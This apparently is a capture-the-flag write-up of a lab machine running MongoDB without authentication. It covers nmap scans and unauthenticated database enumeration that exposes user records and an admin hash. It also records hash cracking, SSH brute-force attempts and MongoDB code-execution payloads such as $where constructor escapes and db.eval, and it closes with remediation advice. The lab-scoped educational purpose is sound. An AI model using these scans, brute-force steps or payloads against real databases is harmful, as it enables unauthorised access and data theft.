TL;DR
Mongod runs MongoDB 3.6.8 on port 27017 with no authentication required and bound to 0.0.0.0. A two-port scan finds SSH (22) and MongoDB (27017). Connecting with mongosh or mongo requires no credentials; listing databases reveals sensitive_information alongside a populated users database. The flag lives in sensitive_information.flag. Going further: the admin database contains a hashed admin credential (testadmin), and the users database has 25 ecommerce user records with MD5/SHA1 password hashes — none crackable with rockyou. Shell access via SSH brute-force also fails. The lesson: an unauthenticated MongoDB instance exposes your entire dataset to anyone who can reach port 27017.
Recon
1. Liveness check
$ ping -c 2 10.129.228.30
PING 10.129.228.30 (10.129.228.30): 56 data bytes
64 bytes from 10.129.228.30: icmp_seq=0 ttl=63 time=34.1 ms
64 bytes from 10.129.228.30: icmp_seq=1 ttl=63 time=36.2 ms
TTL=63 → Linux (64 minus one hop). Host is alive and reachable.
2. Quick scan of common ports
$ nmap -sV -sC -p 22,80,443,3306,27017 -Pn 10.129.228.30
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5
27017/tcp open mongodb MongoDB 3.6.8
Two open ports: SSH and MongoDB. No web server.
3. Full TCP sweep confirmation
$ nmap -p- --min-rate 1000 -Pn 10.129.228.30
PORT STATE SERVICE
22/tcp open ssh
27017/tcp open mongodb
Only these two ports across all 65535. The entire attack surface is SSH and MongoDB.
4. MongoDB authentication probe
echo -e "isMaster\r\n" | nc -w 3 10.129.228.30 27017
Got a binary BSON response — connection accepted. Connecting directly:
mongosh --host 10.129.228.30 --port 27017 --quiet
No username, no password prompt. Immediate access to the MongoDB shell.
Foothold
Dead end #1 — SSH brute force
The admin database contains a user testadmin with a SCRAM-SHA-1 hash. Attempted to crack it and use the credentials for SSH:
# Extract the SCRAM hash from system.users
# Tried with rockyou.txt + common_passwords.txt → no match
# Tried 77 user:password combinations from the ecommerceWebapp users → all FAILED
None of the 25 ecommerce users’ email/password pairs worked for SSH. The SSH service requires separate system credentials not present in MongoDB.
Dead end #2 — accessing the admin database for RCE
Tried common MongoDB RCE paths:
// Via db.eval() — deprecated in 3.6, requires special role
db.eval("function() { return run('id'); }")
// → MongoServerError: no such command: 'eval'
// Via system.js stored procedures
db.system.js.insert({_id: "test", value: function() { return "hello"; }})
db.loadServerScripts()
// → Works, but no file I/O or OS access from here
// Via $where and function constructor escape
db.collection.find({$where: "this.constructor.constructor('return process')().exit()"})
// → Sandbox: process not directly accessible
MongoDB 3.6 does not have db.eval() by default and the available JavaScript sandbox does not expose OS-level functions.
Working approach — enumerate databases and read flag
> show dbs
admin 0.000GB
config 0.000GB
local 0.032GB
sensitive_information 0.000GB
users 0.001GB
> use sensitive_information
switched to db sensitive_information
> show collections
flag
> db.flag.find().pretty()
{
"_id" : ObjectId("630e3dbcb82540ebbd1748c5"),
"flag" : "[REDACTED]"
}
The flag is a document field in the flag collection of the sensitive_information database.
Bonus — full database contents
The users database contained 25 ecommerce user documents:
> use users
> db.getCollectionNames()
[ "ecommerceWebapp" ]
> db.ecommerceWebapp.count()
25
The admin database revealed a system user:
> use admin
> db.system.users.find().pretty()
{
"user" : "testadmin",
"db" : "admin",
"roles" : [{ "role" : "root", "db" : "admin" }],
"credentials" : {
"SCRAM-SHA-1" : {
"iterationCount" : 10000,
"salt" : "QwpaOuhrcMonYmNc5lO91g==",
...
}
}
}
The testadmin user has the root role but the SCRAM-SHA-1 hash could not be cracked with rockyou.
Privilege Escalation
N/A — Starting Point Tier 0 objective is the flag in the sensitive_information database. There is no filesystem-level flag requiring privilege escalation. The MongoDB service runs as uid=113 (mongodb user), and all escalation paths from that user were blocked on the underlying system.
What’s actually broken
- MongoDB bound to
0.0.0.0with no authentication. The default MongoDB configuration prior to 3.6 had no authentication. Version 3.6 added--authas a non-default option. This installation never enabled it. Any host reaching port 27017 gets full read/write access to all databases. - Sensitive data in a database literally named
sensitive_information. The flag is a placeholder for what in real environments would be PII, payment data, API keys, or authentication tokens — all directly readable. - Admin credentials stored with weak SCRAM configuration. 10000 SCRAM iterations is below the current recommended minimum of 15000 (MongoDB 4.x default). The hash schema version is v5, the earliest supported.
- No TLS on MongoDB connections. All queries and responses travel in plaintext over the network.
Remediation (the boring half)
Enable authentication in /etc/mongodb.conf:
security:
authorization: enabled
Create a root admin user before enabling auth:
use admin
db.createUser({
user: "admin",
pwd: passwordPrompt(),
roles: ["root"]
})
Bind to localhost only (if app server is co-located):
net:
bindIp: 127.0.0.1
port: 27017
Enable TLS:
net:
tls:
mode: requireTLS
certificateKeyFile: /etc/ssl/mongodb.pem
CAFile: /etc/ssl/ca.pem
Firewall rules (if remote access is needed):
ufw deny 27017
ufw allow from 10.0.1.0/24 to any port 27017
Lessons learned
- MongoDB’s default install historically had no auth. Even in modern versions, authentication must be explicitly enabled. Check any MongoDB port you find with
mongosh --host IPbefore assuming it’s secured. - Database names are metadata.
sensitive_informationis an obvious CTF construct, but in productioncustomers,payments,auth_tokens, andsessionsdatabases are common. Enumerate all database names immediately after connecting. - SCRAM hashes are not directly usable for auth. Unlike NTLM hashes (pass-the-hash), MongoDB SCRAM-SHA-1 hashes cannot be used directly to authenticate without first cracking them. SSH brute force is a separate attack surface.
- No auth + no TLS + 0.0.0.0 = full data exposure. These three misconfigurations together mean anyone with a route to port 27017 can read, write, and delete all data. Each one alone is bad; combined they are catastrophic.